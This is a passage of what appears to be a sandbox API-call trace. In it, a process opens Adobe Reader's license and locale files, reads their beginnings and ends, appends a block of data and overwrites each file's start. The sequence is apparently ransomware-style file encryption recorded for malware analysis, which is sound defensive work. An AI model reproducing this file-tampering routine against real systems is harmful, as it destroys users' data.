lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0036.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="cryptocme2.sig", cchWideChar=14, lpMultiByteStr=0x1e6334c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptocme2.sig", lpUsedDefaultChar=0x0) returned 14 [0036.181] ReadFile (in: hFile=0x168, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x647, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x2a0f2bc*=0x647, lpOverlapped=0x0) returned 1 [0036.191] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0036.191] WriteFile (in: hFile=0x168, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0xbcf, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2a0f2d0*=0xbcf, lpOverlapped=0x0) returned 1 [0036.191] CloseHandle (hObject=0x168) returned 1 [0036.191] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cze\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0036.694] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.694] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x112b7 [0036.695] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.695] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.695] ReleaseMutex (hMutex=0x128) returned 1 [0036.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.695] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0036.695] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.700] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x102b7 [0036.700] ReadFile (in: hFile=0x184, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.701] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x102b7 [0036.701] WriteFile (in: hFile=0x184, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.701] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0036.701] WriteFile (in: hFile=0x184, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.701] CloseHandle (hObject=0x184) returned 1 [0036.704] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\EUQ\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\euq\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0036.704] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.705] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xaedb [0036.705] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.705] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.705] ReleaseMutex (hMutex=0x128) returned 1 [0036.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0036.705] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.714] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9edb [0036.714] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.714] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9edb [0036.714] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.715] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0036.715] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.715] CloseHandle (hObject=0x184) returned 1 [0036.715] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0036.719] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.719] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1dc34 [0036.719] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.719] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.719] ReleaseMutex (hMutex=0x128) returned 1 [0036.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.719] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0036.719] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.721] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1cc34 [0036.721] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.722] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1cc34 [0036.723] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.724] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0036.724] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.724] CloseHandle (hObject=0x184) returned 1 [0036.724] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\PTB\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ptb\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0036.724] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.724] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xd746 [0036.724] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.724] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.724] ReleaseMutex (hMutex=0x128) returned 1 [0036.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.724] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6314c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0036.724] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.729] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xc746 [0036.729] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.730] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xc746 [0036.730] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.730] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0036.730] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.730] CloseHandle (hObject=0x184) returned 1 [0036.730] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0036.731] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.731] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xd34f [0036.731] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.731] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.731] ReleaseMutex (hMutex=0x128) returned 1 [0036.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0036.731] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0036.733] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xc34f [0036.733] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.734] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0xc34f [0036.734] WriteFile (in: hFile=0x184, lpBuffer=0x1da5ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.734] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0036.734] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0036.734] CloseHandle (hObject=0x184) returned 1 [0036.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\annots.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0036.735] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.735] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7d400 [0036.735] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.735] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.736] ReleaseMutex (hMutex=0x128) returned 1 [0036.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CAT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.736] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CAT", cchWideChar=10, lpMultiByteStr=0x1e6314c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CAT", lpUsedDefaultChar=0x0) returned 10 [0036.736] ReadFile (in: hFile=0x184, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0036.737] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7c400 [0036.737] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.739] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x7c400 [0036.740] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.740] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0036.740] WriteFile (in: hFile=0x184, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0036.740] CloseHandle (hObject=0x184) returned 1 [0036.740] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\pddom.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\pddom.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0036.740] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.740] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2e00 [0036.741] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.741] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.741] ReleaseMutex (hMutex=0x128) returned 1 [0036.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CAT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0036.741] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CAT", cchWideChar=9, lpMultiByteStr=0x1e6324c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CAT", lpUsedDefaultChar=0x0) returned 9 [0036.741] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.742] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1e00 [0036.742] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.743] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1e00 [0036.743] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.744] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0036.744] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.744] CloseHandle (hObject=0x184) returned 1 [0036.744] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Spelling.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\spelling.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0036.744] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.744] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2a00 [0036.744] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0036.744] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.744] ReleaseMutex (hMutex=0x128) returned 1 [0036.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.744] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 